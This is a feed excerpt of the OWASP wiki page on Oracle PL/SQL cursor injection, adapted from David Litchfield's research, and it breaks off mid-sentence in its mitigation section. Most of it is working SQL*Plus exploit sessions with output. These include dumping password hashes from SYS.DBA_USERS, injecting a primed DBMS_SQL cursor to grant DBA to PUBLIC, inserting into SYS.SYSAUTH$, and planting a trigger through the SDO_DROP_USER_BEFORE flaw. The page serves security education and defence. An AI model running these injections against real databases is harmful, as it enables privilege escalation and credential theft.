   6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; begin execute immediate ''create or replace function csess_func (p varchar2) return number authid current_user is begin execute immediate p; return 1; end;''; commit; end;',0);   7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
   8  END; &lt;br /&gt;
   9  / &lt;br /&gt;
 Cursor value is :4 &lt;br /&gt;
 &lt;br /&gt;
 PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
 BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; &lt;br /&gt;
 &lt;br /&gt;
 * &lt;br /&gt;
 ERROR at line 1: &lt;br /&gt;
 ORA-20002: USER CSESS MAY NOT EXECUTE DDL &lt;br /&gt;
 ORA-06512: at line 7 &lt;br /&gt;
 ORA-06512: at line 1 &lt;br /&gt;
 ORA-06512: at &amp;quot;SYS.DBMS_SYS_SQL&amp;quot;, line 1200 &lt;br /&gt;
 ORA-06512: at &amp;quot;SYS.DBMS_SQL&amp;quot;, line 323 &lt;br /&gt;
 ORA-06512: at &amp;quot;SYS.GET_OWNER&amp;quot;, line 7 &lt;br /&gt;
 ORA-06512: at line 1 &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
If we try to disable the trigger we get the same error. If we attempt to grant CSESS the &lt;br /&gt;
ADMINISTER DATABASE TRIGGER we get the same error. Indeed, any attempt by &lt;br /&gt;
someone other than SYS, JIM or JANE to execute GRANT, REVOKE, ALTER or &lt;br /&gt;
CREATE ends up with it being blocked by the trigger. This method appears to be &lt;br /&gt;
effective as a preventative measure.&lt;br /&gt;
==Resources== &lt;br /&gt;
* [1] [http://www.databasesecurity.com/dbsec/cursor-injection.pdf David Litchfield's original paper on Cursor Injection, February 2007]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Oracle Project]]&lt;br /&gt;
[[Category:Development]]&lt;br /&gt;
[[Category:PL/SQL]]&lt;/div&gt;</summary>
		<author><name>Mjk303</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=46410</id>
		<title>PL/SQL:Cursor Injection</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PL/SQL:Cursor_Injection&amp;diff=46410"/>
				<updated>2008-11-14T15:45:43Z</updated>
		
		<summary type="html">&lt;p&gt;Mjk303: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
WIP 14/11/2008, the material is provided by David Litchfield, this needs to be rewritten to the OWASP standard (introduction, vunerabilty, attack and countermeasure)&lt;br /&gt;
Also the markup for the code examples is wrong.&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
 &lt;br /&gt;
On occasion Oracle in their alerts state that the ability to create a procedure or a function &lt;br /&gt;
is required for an attacker to be able to exploit a flaw. For example, DB02 in the October &lt;br /&gt;
2006 Critical Patch Update was for a vulnerability in the SDO_DROP_USER_BEFORE &lt;br /&gt;
trigger. In the Risk Matrix section of the alert it states that an attacker must have the &lt;br /&gt;
CREATE PROCEDURE privilege to exploit the flaw. As we will see this is not the case. &lt;br /&gt;
This paper describes a new method whereby an attacker, seeking to exploit a SQL &lt;br /&gt;
injection flaw in an Oracle database server, may do so without the need to create an &lt;br /&gt;
auxiliary inject function in order to execute arbitrary SQL. This is achieved by injecting a &lt;br /&gt;
pre-compiled cursor into vulnerable PL/SQL objects. The driving force behind this &lt;br /&gt;
research is to show that all SQL injection flaws can be fully exploited without any system &lt;br /&gt;
privilege other than CREATE SESSION and accordingly the risk should never be &lt;br /&gt;
&amp;quot;marked down&amp;quot;. &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
The problem for the attacker... &lt;br /&gt;
 &lt;br /&gt;
Consider the following PL/SQL procedure: &lt;br /&gt;
 &lt;br /&gt;
CONNECT / AS SYSDBA &lt;br /&gt;
CREATE OR REPLACE PROCEDURE GET_OWNER (P_OBJNM VARCHAR) IS &lt;br /&gt;
TYPE C_TYPE IS REF CURSOR; &lt;br /&gt;
CV C_TYPE; &lt;br /&gt;
BUFFER VARCHAR2(200); &lt;br /&gt;
BEGIN &lt;br /&gt;
DBMS_OUTPUT.ENABLE(1000000); &lt;br /&gt;
OPEN CV FOR 'SELECT OWNER FROM ALL_OBJECTS &lt;br /&gt;
WHERE OBJECT_NAME = ''' || P_OBJNM ||''''; &lt;br /&gt;
LOOP &lt;br /&gt;
FETCH CV INTO BUFFER; &lt;br /&gt;
DBMS_OUTPUT.PUT_LINE(BUFFER); &lt;br /&gt;
EXIT WHEN CV%NOTFOUND; &lt;br /&gt;
END LOOP; &lt;br /&gt;
CLOSE CV; &lt;br /&gt;
END; &lt;br /&gt;
/ &lt;br /&gt;
GRANT EXECUTE ON GET_OWNER TO PUBLIC; &lt;br /&gt;
 &lt;br /&gt;
It is vulnerable to SQL injection. The P_OBJNM parameter is embedded within a &lt;br /&gt;
SELECT query which is then executed. Due to the fact that Oracle won't batch queries, &lt;br /&gt;
for example like Microsoft SQL Server, the attacker is limited in terms of what they &lt;br /&gt;
could do when it comes to exploiting the flaw. One thing the attacker could do is perform &lt;br /&gt;
a UNION SELECT to gain access to arbitrary data: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT SCOTT/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA'' UNION SELECT PASSWORD FROM SYS.DBA_USERS &lt;br /&gt;
-- '); &lt;br /&gt;
16B58553D83807DF 1718E5DBB8F89784 &lt;br /&gt;
24ABAB8B06281B4C &lt;br /&gt;
... &lt;br /&gt;
... &lt;br /&gt;
 &lt;br /&gt;
What if they wanted to do more than just this, though, and perform a DDL or DML &lt;br /&gt;
operation? In Oracle, the attacker could not simply inject a &amp;quot;GRANT DBA TO PUBLIC&amp;quot; &lt;br /&gt;
or an &amp;quot;INSERT something into some table&amp;quot; statement after the application defined &lt;br /&gt;
SELECT statement. In order to achieve this, they'd need to wrap their arbitrary SQL in a &lt;br /&gt;
function and inject this: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID &lt;br /&gt;
CURRENT_USER IS &lt;br /&gt;
  2  PRAGMA AUTONOMOUS_TRANSACTION; &lt;br /&gt;
  3  BEGIN &lt;br /&gt;
  4  EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; &lt;br /&gt;
  5  RETURN 'GOT_DBA_PRIVS'; &lt;br /&gt;
  6  END; &lt;br /&gt;
  7  / &lt;br /&gt;
 &lt;br /&gt;
Function created. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||SCOTT.GET_DBA--'); &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
Here, SCOTT has created a function called GET_DBA and this is then injected into the &lt;br /&gt;
application defined SELECT query using the concatenation operator - the double pipe. &lt;br /&gt;
As part of executing the SELECT query the database server also executes the GET_DBA &lt;br /&gt;
function with SYS privileges and the GRANT succeeds. This GET_DBA function is an &lt;br /&gt;
auxiliary inject function and it performs the real work of the exploit. If an attacker can't &lt;br /&gt;
create their own functions then they must find a function that already exists on the system &lt;br /&gt;
- a function that allows them to execute arbitrary SQL. Prior to April 2006, when the flaw &lt;br /&gt;
was patched, the GET_DOMAIN_INDEX_TABLES function on the SYS owned &lt;br /&gt;
DBMS_EXPORT_EXTENSION package could be used: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; &lt;br /&gt;
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTP&lt;br /&gt;
UT&amp;quot;.PUT(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; &lt;br /&gt;
BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO PUBLIC''''; END;''; END;--&lt;br /&gt;
','SYS',0,'1',0) &lt;br /&gt;
 &lt;br /&gt;
This package was vulnerable to SQL injection and attacker supplied arguments were &lt;br /&gt;
embedded into a block of anonymous PL/SQL. As PUBLIC could directly execute this &lt;br /&gt;
package they could execute arbitrary SQL using this function alone - there was no need &lt;br /&gt;
to inject it into another vulnerable package. As already stated, this has since been fixed.  &lt;br /&gt;
 &lt;br /&gt;
There are two other functions that can be used as auxiliary inject functions, however, they can only be used as such due to a flaw. One is vulnerable to a cursor snarfing issue [see &lt;br /&gt;
http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf] that can be exploited to run &lt;br /&gt;
arbitrary SQL as SYS and the other is vulnerable to a SQL injection flaw into an &lt;br /&gt;
anonymous PL/SQL block, again allowing an attacker to execute arbitrary SQL as SYS. &lt;br /&gt;
Both are currently being fixed by Oracle and until the patch is out they will remain &lt;br /&gt;
&amp;quot;nameless&amp;quot;.  &lt;br /&gt;
 &lt;br /&gt;
Each of the three known extant functions that can be used as auxiliaries contain a &lt;br /&gt;
vulnerability of some sort and will all be patched at some stage making their &amp;quot;usefulness&amp;quot; &lt;br /&gt;
time limited. There is what could be argued as a fourth function that can be abused by an &lt;br /&gt;
attacker to execute arbitrary SQL and it doesn't rely on a vulnerability. I say &amp;quot;could be &lt;br /&gt;
argued&amp;quot; because it's not as straight forward as simply injecting the function - it needs to &lt;br /&gt;
be primed first. What follows is a description of the new method: it is simple multi-stage &lt;br /&gt;
attack (so simple in fact I should have thought of it years ago!) and it works on all &lt;br /&gt;
versions of Oracle and can be exploited by an attacker to run any SQL - provided of &lt;br /&gt;
course there is a vector - i.e. a PL/SQL package, procedure, function, trigger or type &lt;br /&gt;
which is vulnerable to SQL injection. &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
==The DBMS_SQL package== &lt;br /&gt;
 &lt;br /&gt;
The DBMS_SQL package contains a number of procedures and functions that can be &lt;br /&gt;
used to execute dynamic SQL queries: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT SCOTT/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'SELECT 1 FROM DUAL',0); &lt;br /&gt;
  7     RESULT := DBMS_SQL.EXECUTE(MY_CURSOR); &lt;br /&gt;
  8     DBMS_SQL.CLOSE_CURSOR(MY_CURSOR); &lt;br /&gt;
  9  END; &lt;br /&gt;
  10 / &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
Here, we create a cursor called &amp;quot;MY_CURSOR&amp;quot; using the &lt;br /&gt;
DBMS_SQL.OPEN_CURSOR function. We then tie this cursor to a query, in this case &lt;br /&gt;
&amp;quot;SELECT 1 FROM DUAL&amp;quot;, by using the DBMS_SQL.PARSE procedure. By doing this, &lt;br /&gt;
the cursor becomes like a handle to this query which is then executed using the &lt;br /&gt;
DBMS_SQL.EXECUTE function. Lastly the cursor is closed. All an attacker need do to &lt;br /&gt;
execute arbitrary SQL in open a cursor and parse the SQL and then inject the &lt;br /&gt;
DBMS_SQL.EXECUTE function into the vulnerable PL/SQL object: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT SCOTT/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin execute immediate ''grant dba to public''; commit; end;',0); &lt;br /&gt;
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :4 &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
Firstly, we open the cursor and then parse our query - one that'll grant DBA privileges to &lt;br /&gt;
PUBLIC. We then print the value of the cursor to the screen - 4 in this case. We then pass &lt;br /&gt;
4 as the argument to the DBMS_SQL.EXECUTE function when we inject it into the &lt;br /&gt;
vulnerable procedure. The DBMS_SQL.EXECUTE function returns a number so we use &lt;br /&gt;
the CHR function to convert the number to a character - which can then be concatenated. &lt;br /&gt;
When the application defined SELECT query executes so too does the &lt;br /&gt;
DBMS_SQL.EXECUTE function - and so the attacker's SQL is executed with SYS &lt;br /&gt;
privileges - in this case granting DBA privileges to PUBLIC. &lt;br /&gt;
 &lt;br /&gt;
==Only Half-primed...== &lt;br /&gt;
 &lt;br /&gt;
Assume, rather than execute 'GRANT DBA TO PUBLIC', which might alert an intrusion &lt;br /&gt;
detection/prevention system, the attacker wishes to perform an INSERT to achieve the &lt;br /&gt;
same end, in other words, INSERT the relevant rows into the SYS.SYSAUTH$ table to &lt;br /&gt;
make PUBLIC a DBA. At this stage, this new attack technique can not be used to do this. &lt;br /&gt;
An error is returned from DBMS_SQL: table or view does not exist: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin execute immediate ''INSERT INTO SYS.SYSAUTH$ (GRANTEE#, &lt;br /&gt;
PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT MAX(SEQUENCE#)+1 FROM &lt;br /&gt;
SYS.SYSAUTH$))''; commit; end;',0); &lt;br /&gt;
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :4  &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
BEGIN SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); END; &lt;br /&gt;
 &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-00942: table or view does not exist &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.DBMS_SYS_SQL&amp;quot;, line 1200 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.DBMS_SQL&amp;quot;, line 323 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.GET_OWNER&amp;quot;, line 7 &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
 &lt;br /&gt;
The query here attempts to INSERT into the SYS.SYSAUTH$ table to make PUBLIC a &lt;br /&gt;
DBA - but as can be seen - an error is generated. Whilst we can't use this to do an &lt;br /&gt;
INSERT we've already seen we can grant DBA privileges and another action an attacker &lt;br /&gt;
can take using this method is to create a function - even though they don't have the &lt;br /&gt;
permissions to do so directly. Let's create a user with only the CREATE SESSION &lt;br /&gt;
privilege and no more: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT / AS SYSDBA &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; CREATE USER CSESS IDENTIFIED BY PASSWORD; &lt;br /&gt;
 &lt;br /&gt;
User created. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; GRANT CREATE SESSION TO CSESS; &lt;br /&gt;
 &lt;br /&gt;
Grant succeeded. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SELECT PRIVILEGE FROM SESSION_PRIVS; &lt;br /&gt;
 &lt;br /&gt;
PRIVILEGE &lt;br /&gt;
---------------------------------------- &lt;br /&gt;
CREATE SESSION &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; &lt;br /&gt;
 &lt;br /&gt;
Now with our test user, CSESS, in place let's go ahead, connect as them and create a &lt;br /&gt;
function even though we only have the CREATE SESSION privilege: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5     MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6     DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin execute immediate ''create or replace function csess_func (p varchar2) return number authid current_user is begin execute immediate &lt;br /&gt;
p; return 1; end;''; commit; end;',0); &lt;br /&gt;
  7     DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :4 &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(4))--'); &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
Here we attempt to create a function call CSESS_FUNC. Now see if the function was &lt;br /&gt;
actually created: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SELECT CSESS_FUNC('SELECT 1 FROM DUAL') FROM DUAL; &lt;br /&gt;
 &lt;br /&gt;
CSESS_FUNC('SELECT1FROMDUAL') &lt;br /&gt;
----------------------------- &lt;br /&gt;
                            1 &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; &lt;br /&gt;
 &lt;br /&gt;
All looks good. Now we can use this function to do whatever we want: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
SET ROLE DBA &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-01924: role 'DBA' not granted or does not exist &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma &lt;br /&gt;
autonomous_transaction; begin execute immediate ''''INSERT INTO &lt;br /&gt;
SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT &lt;br /&gt;
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
Note that, on some systems, such as 10g Release 2 a &amp;quot;unique constraint&amp;quot; error might be &lt;br /&gt;
generated but the INSERT does succeed: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
SET ROLE DBA &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-01924: role 'DBA' not granted or does not exist &lt;br /&gt;
 SQL&amp;gt; EXEC SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma &lt;br /&gt;
autonomous_transaction; begin execute immediate ''''INSERT INTO &lt;br /&gt;
SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT &lt;br /&gt;
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); &lt;br /&gt;
BEGIN SYS.GET_OWNER('AAAA''||CHR(CSESS.CSESS_FUNC(''declare pragma &lt;br /&gt;
autonomous_transaction; begin execute immediate ''''INSERT INTO &lt;br /&gt;
SYS.SYSAUTH$ (GRANTEE#,PRIVILEGE#, SEQUENCE#) VALUES (1,4,(SELECT &lt;br /&gt;
MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))''''; commit; end;''))--'); END; &lt;br /&gt;
 &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-00001: unique constraint (SYS.I_SYSAUTH1) violated &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
ORA-06512: at &amp;quot;CSESS.CSESS_FUNC&amp;quot;, line 1 &lt;br /&gt;
ORA-06512: at &amp;quot;SYS.GET_OWNER&amp;quot;, line 7 &lt;br /&gt;
ORA-06512: at line 1 &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
So, by injecting DBMS_SQL.EXECUTE as an auxiliary function with &amp;quot;limited&amp;quot; scope, an attacker can &lt;br /&gt;
create their own auxiliary inject function to then do whatever they want. &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
==Exploiting the SDO_DROP_USER_BEFORE trigger==&lt;br /&gt;
 &lt;br /&gt;
In the introduction I mentioned the SDO_DROP_USER_BEFORE trigger. In 10g &lt;br /&gt;
Release 2 and before October 2006, when the flaw was patched, this trigger owned by &lt;br /&gt;
MDSYS was vulnerable to SQL injection. At the time it was believed that this was only &lt;br /&gt;
exploitable if the attacker had the CREATE PROCEDURE (and therefore FUNCTION) &lt;br /&gt;
privilege [see DB02 entry in http://www.oracle.com/technology/deploy/security/critical-&lt;br /&gt;
patch-updates/cpuoct2006.html#AppendixA] &lt;br /&gt;
 &lt;br /&gt;
The problem lay in the fact that the name of the user being dropped was embedded within &lt;br /&gt;
a block of anonymous PL/SQL: &lt;br /&gt;
 &lt;br /&gt;
... &lt;br /&gt;
... &lt;br /&gt;
EXECUTE IMMEDIATE &lt;br /&gt;
'begin ' || &lt;br /&gt;
'mdsys.rdf_apis_internal.' || &lt;br /&gt;
'notify_drop_user(''' || dictionary_obj_name || '''); ' || &lt;br /&gt;
'end;'; &lt;br /&gt;
... &lt;br /&gt;
... &lt;br /&gt;
 &lt;br /&gt;
This is the vulnerable code from the trigger. Here, &amp;quot;dictionary_obj_name&amp;quot; is the name of &lt;br /&gt;
the user being dropped and, as this &amp;quot;user&amp;quot; could be arbitrary, it was possible for an &lt;br /&gt;
attacker to inject 30 bytes of arbitrary SQL. In terms of exploiting this to gain DBA &lt;br /&gt;
privileges an attacker needs to jump through some hoops but it can be done. MDSYS is &lt;br /&gt;
not a DBA so the attacker must rely on an indirect privilege upgrade attack and, indeed, an attack is possible via MDSYS having the CREATE ANY TRIGGER system privilege. &lt;br /&gt;
By leveraging this privilege during a SQL injection attack, the attacker can create an &lt;br /&gt;
auxiliary trigger in the SYSTEM schema. This auxiliary trigger will carry out the work of &lt;br /&gt;
gaining the attacker DBA privileges. Firstly, the attacker needs the name of a table into &lt;br /&gt;
which PUBLIC can insert - there are a few - SYSTEM.OL$ will be the choice. A &lt;br /&gt;
&amp;quot;BEFORE INSERT&amp;quot; trigger will be created on this table; this trigger will execute the &lt;br /&gt;
GRANT DBA TO PUBLIC when an INSERT is performed. Let's step through attack &lt;br /&gt;
from start to finish. CSESS has only the CREATE SESSION privilege and cannot set the &lt;br /&gt;
DBA role: &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; CONNECT CSESS/PASSWORD &lt;br /&gt;
Connected. &lt;br /&gt;
SQL&amp;gt; SET SERVEROUTPUT ON &lt;br /&gt;
SQL&amp;gt; SELECT PRIVILEGE FROM SESSION_PRIVS; &lt;br /&gt;
 &lt;br /&gt;
PRIVILEGE &lt;br /&gt;
---------------------------------------- &lt;br /&gt;
CREATE SESSION &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
SET ROLE DBA &lt;br /&gt;
* &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-01924: role 'DBA' not granted or does not exist &lt;br /&gt;
 &lt;br /&gt;
Once logged in CSESS then creates a cursor and primes it with a query that will create &lt;br /&gt;
the trigger on the SYSTEM.OL$ table - we also use DBMS_OUTPUT to show us that &lt;br /&gt;
our SQL is executing as expected: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; DECLARE &lt;br /&gt;
  2  MY_CURSOR NUMBER; &lt;br /&gt;
  3  RESULT NUMBER; &lt;br /&gt;
  4  BEGIN &lt;br /&gt;
  5  MY_CURSOR := DBMS_SQL.OPEN_CURSOR; &lt;br /&gt;
  6  DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction; &lt;br /&gt;
begin DBMS_OUTPUT.PUT_LINE(''EXECUTING FROM SDO_DROP_USER_BEFORE!!!''); &lt;br /&gt;
execute immediate ''create or replace trigger system.WHOPPEE before &lt;br /&gt;
insert on system.OL$ DECLARE msg VARCHAR2(30); BEGIN null; &lt;br /&gt;
dbms_output.put_line(''''In the trigger''''); EXECUTE IMMEDIATE &lt;br /&gt;
''''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE &lt;br /&gt;
''''''''GRANT DBA TO PUBLIC''''''''; END; ''''; end WHOPPEE;''; commit; &lt;br /&gt;
end;',0); &lt;br /&gt;
  7  DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR); &lt;br /&gt;
  8  END; &lt;br /&gt;
  9  / &lt;br /&gt;
Cursor value is :3 &lt;br /&gt;
 &lt;br /&gt;
PL/SQL procedure successfully completed. &lt;br /&gt;
 &lt;br /&gt;
With this done we can see the value of the cursor is 3. We'll pass this as the argument to &lt;br /&gt;
DBMS_SQL.EXECUTE when we inject it into the DROP USER statement: &lt;br /&gt;
 &lt;br /&gt;
 SQL&amp;gt; DROP USER &amp;quot;'||CHR(DBMS_SQL.EXECUTE(3))||'&amp;quot;; &lt;br /&gt;
EXECUTING FROM SDO_DROP_USER_BEFORE!!! &lt;br /&gt;
DROP USER &amp;quot;'||CHR(DBMS_SQL.EXECUTE(3))||'&amp;quot; &lt;br /&gt;
          * &lt;br /&gt;
ERROR at line 1: &lt;br /&gt;
ORA-01918: user ''||CHR(DBMS_SQL.EXECUTE(3))||'' does not exist &lt;br /&gt;
 &lt;br /&gt;
Note we see our SQL is executing as expected - we can tell from the &amp;quot;EXECUTING &lt;br /&gt;
FROM SDO_DROP_USER_BEFORE!!!&amp;quot; message we output using &lt;br /&gt;
DBMS_OUTPUT.PUT_LINE. By now the WHOPPEE trigger should have been created &lt;br /&gt;
on the SYSTEM.OL$ table. Let's now do the INSERT to fire the trigger: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; INSERT INTO SYSTEM.OL$ (OL_NAME) VALUES ('OWNED!'); &lt;br /&gt;
In the trigger &lt;br /&gt;
 &lt;br /&gt;
1 row created. &lt;br /&gt;
 &lt;br /&gt;
With the trigger having fired, PUBLIC should now have DBA privileges and we should &lt;br /&gt;
be able to set the role: &lt;br /&gt;
 &lt;br /&gt;
SQL&amp;gt; SET ROLE DBA; &lt;br /&gt;
 &lt;br /&gt;
Role set. &lt;br /&gt;
 &lt;br /&gt;
And thus the SDO_DROP_USER_BEFORE trigger vulnerability can be exploited by a &lt;br /&gt;
user that does not have the CREATE PROCEDURE privilege. &lt;br /&gt;
 &lt;br /&gt;
==Risk Mitigation==&lt;br /&gt;
 &lt;br /&gt;
What can be done to help prevent this being used as an attack method? Revoking the &lt;br /&gt;
PUBLIC execute permission from DBMS_SQL, whilst it is an option, is not advised. &lt;br /&gt;
There are around 170 objects that depend on DBMS_SQL and revoking the PUBLIC &lt;br /&gt;
execute permission could invalidate a large number of these dependencies. One useable &lt;br /&gt;
possibility is to limit who can do what in terms of DDL using a trigger. Assuming the &lt;br /&gt;
only users on a particular database server that should be executing GRANT, CREATE or &lt;br /&gt;
